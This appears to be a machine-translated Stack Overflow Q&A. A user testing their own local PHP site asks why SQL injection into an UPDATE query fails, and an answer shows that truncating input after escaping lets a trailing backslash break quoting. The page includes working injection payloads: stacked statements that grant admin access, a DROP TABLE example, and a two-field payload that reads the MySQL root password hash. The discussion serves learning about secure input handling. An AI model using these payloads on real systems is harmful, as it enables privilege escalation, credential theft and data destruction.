SQL注入漏洞神奇地修复自己?

时间:2014-04-26 20:03:22

标签: php mysql sql-injection

所以我在我的网站上发现了这个漏洞,用于测试(在本地网络上)......

mysql_query("UPDATE $table_classes SET name = '$fullname9' , sort = '$sort246', welcome = '$welcome_text', show_teacherpage = '$show_teacherpage' WHERE id = '".$class_id."'");

这里面临的主要问题......

$welcome_text = sanitize($_POST['welcome_text'], 500 , 'U');

$ welcome_text可以是500个字符并且具有U参数集,这意味着它基本上保持输入不变,并且仅在其认为合适的地方添加斜杠(转义字符)。它不会过滤关键字行INSERT,OR等

所以看起来我可以在文本形式中尝试像这样的厚颜无耻......

a' WHERE id = '".$class_id."'; UPDATE syn_users SET access = '1111111111111111,1111111111111111111111' WHERE username = 'usertwo'; UPDATE $table_classes SET welcome = '$fullname9

查询变为......

mysql_query("UPDATE $table_classes SET name = '$fullname9' , sort = '$sort246', welcome = 'a' WHERE id = '1'; UPDATE syn_users SET access = '1111111111111111,1111111111111111111111' WHERE username = 'usertwo'; UPDATE syn_classes SET welcome = 'a', show_teacherpage = '$show_teacherpage' WHERE id = '".$class_id."'");

将我的访问权限升级为管理员权限。输入此输入后,我预计会发生两件事之一。要么我得到一个查询错误,因为我在某处或某处成功引用了一个引号,在这种情况下我获得了我的新权限状态,并且显示页面上的欢迎消息也变成了。

但这并没有发生。相反的是,在展示页面上我完全回到了我在表单中的内容。所以数据库只是愉快地吸了我未经过消毒的注射而没有真正做任何事情,在一个文本字段中留下了我的不良意图。我现在已经在墙上砸了几个小时了,而且我无法弄清楚导致这种情况的原因......

来自安全类的笔记有这样的例子......

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM 
userinfo WHERE 't' = 't';

这本质上是我尝试做的事情,或者我在某处误解了某些事情。魔术引号也被关闭了。

修改

好的,所以我得到了折旧的sql函数不允许;

这导致我在其他地方尝试类似的利用。

mysql_query("UPDATE $table_users SET name='$fullname9', username='$username8b9', email='$email07e', class='$class4c8', type='$typeb0f', project = '$comma_separated_project', initial = '$initiald' WHERE id = '".$student_id."'");

BOOM。我把它放到表格字段中......

a', access ='1111111111111111,1111111111111111111111

导致这个......

mysql_query("UPDATE $table_users SET name='a', access='1111111111111111,1111111111111111111111', username='$username8b9', email='$email07e', class='$class4c8', type='$typeb0f', project = '$comma_separated_project', initial = '$initiald' WHERE id = '".$student_id."'");

然而,同样的事情发生了。

消毒功能如下。

 if ($typeb0f == "I")
{
    //return only integer
    $result4 = intval($inputf1e);
}
elseif ($typeb0f == "S")
{
    $result4 = preg_replace("/<script[^>]*>[^<]+<\/script[^>]*>/is"
                 ,"", $inputf1e);
    $result4 = preg_replace("/<\/?(div|span|iframe|frame|input|body"
                     ."textarea|script|style|applet|object|embed|form)[^>]*>/is"
                 ,"", $result4);
    $result4 = sql_addslashes($result4) ;
}
elseif ($typeb0f == "A")
{
    //only allow alpha characters + @
    $inputf1e = preg_replace("/[^a-zA-Z0-9]@/", "", $inputf1e);
    $result4 = sql_addslashes($inputf1e);
}
elseif ($typeb0f == "U")
{
    //leave untouched, only add slashes if needed.
    $result4 = sql_addslashes($inputf1e);
}
else
{
    //trigger error, we should not enter here
    trigger_error('Sanitize function error: wrong parameter given', E_USER_WARNING);
}
if ($length8 != 0)
{
    //limit the input to $length8 
    $result4 = substr($result4, 0 , $length8);
}

return $result4;

就像我在评论中说的那样,它不是一个好的。

1 个答案:

答案 0 :(得分:1)

当添加的反斜杠碰巧位于允许的字符串长度的最后位置时,sanitize函数无法正确转义字符串。

假设我们只希望字符串最多为5而不是500个字符,并且$_POST['welcome_text']包含4个A和一个单引号:

$_POST['welcome_text'] = "AAAA'";

现在,如果我们拨打sanitize($_POST['welcome_text'], 5 , 'U')sql_addslashes可以正确地转义字符串,e。 G:

AAAA\'

但是,由于字符串在转义后被截断为5个字符,因此重新调整的字符串实际上是

AAAA\

这放在给定的UPDATE语句中显然会使得结束字符串分隔符被转义,字符串文字将持续到下一个非转义单引号:

… welcome = 'AAAA\', show_teacherpage = '…

仅这一点只会使语句在语法上不正确,从而失败。但是,如果有更多参数以这种方式“清理”,则可以注入SQL代码。例如:

welcome_text:     AAAA'
show_teacherpage: , other_column = (SELECT password FROM mysql.user WHERE user = 0x726F6F74 LIMIT 1) #

这将导致:

… welcome = 'AAAA\', show_teacherpage = ', show_teacherpage = (SELECT password FROM mysql.user WHERE user = 0x726F6F74 LIMIT 1) #

welcome 将包含值AAAA', show_teacherpage =,而 show_teacherpage 将包含 root 用户的密码。